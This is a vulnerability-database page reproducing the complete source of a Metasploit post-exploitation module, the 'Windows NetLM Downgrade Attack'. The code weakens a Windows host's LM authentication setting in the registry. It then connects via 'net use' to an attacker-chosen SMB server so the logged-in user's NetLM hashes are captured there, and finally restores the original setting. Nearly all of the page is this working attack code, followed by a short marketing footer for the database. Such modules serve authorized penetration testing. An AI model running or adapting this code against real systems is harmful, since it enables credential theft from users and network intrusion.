, Thomas McCarthy "smilingraccoon" ">
Lucene search
K

Windows NetLM Downgrade Attack

Windows NetLM Downgrade Attack module changes the system LmCompatibilityLevel registry value to enable sending LM challenge hashes and initiates a SMB connection to capture NetLM hashes for the session user

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows NetLM Downgrade Attack',
        'Description' => %q{
          This module changes the system LmCompatibilityLevel registry value
          to enable sending LM challenge hashes and initiates a SMB connection
          to the host specified in the SMBHOST module option. If an SMB server
          is listening, it will receive the NetLM hashes for the session user.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'Author' => [
          'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
          'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
        ],
        'SessionTypes' => ['meterpreter', 'shell', 'powershell'],
        'References' => [
          ['URL', 'https://web.archive.org/web/20210311141729/https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks'],
          ['URL', 'https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level'],
          ['URL', 'https://support.microsoft.com/en-us/topic/security-guidance-for-ntlmv1-and-lm-network-authentication-da2168b6-4a31-0088-fb03-f081acde6e73']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptAddress.new('SMBHOST', [ true, 'IP address of SMB server to capture hashes.' ])
    ])
  end

  def smb_connect(smb_host)
    print_status("Establishing SMB connection to #{smb_host}")
    cmd_exec('cmd.exe', "/c net use \\\\#{smb_host}")
    print_good("SMB server #{smb_host} should now have NetLM hashes")
  end

  def lm_compatibility_level
    registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'LmCompatibilityLevel')
  end

  def set_lm_compatibility_level(level)
    subkey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
    v_name = 'LmCompatibilityLevel'

    v = level.nil? ? registry_deleteval(subkey, v_name) : registry_setvaldata(subkey, v_name, level, 'REG_DWORD')

    fail_with(Failure::Unknown, "Error modifying registry value #{subkey}\\#{v_name}") if v.nil?

    v
  end

  def run
    @needs_cleanup = false

    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
    print_status("Running module against #{hostname} (#{session.session_host})")

    # Running as SYSTEM and will not pass any network credentials
    fail_with(Failure::BadConfig, 'Running as SYSTEM. This module should be run as a user.') if is_system?

    @original_lm_compat = lm_compatibility_level

    if @original_lm_compat == 0
      print_good("NetLM authentication is already required on this system (LmCompatibilityLevel: #{@original_lm_compat})")
    else
      print_status("NetLM authentication is disabled (LmCompatibilityLevel: #{@original_lm_compat.inspect}). Enabling ...")
      set_lm_compatibility_level(0)
      fail_with(Failure::Unknown, 'Could not enable NetLM authentication') unless lm_compatibility_level == 0
      @needs_cleanup = true
      print_good('NetLM authentication is enabled')
    end

    # call smb_connect method to pass network hashes
    smb_connect(datastore['SMBHOST'])
  end

  def cleanup
    return unless @needs_cleanup

    print_status("Restoring original LM compatibility level (LmCompatibilityLevel: #{@original_lm_compat.inspect})")

    unless set_lm_compatibility_level(@original_lm_compat)
      print_error('Could not restore original LM compatibility level')
    end
  ensure
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation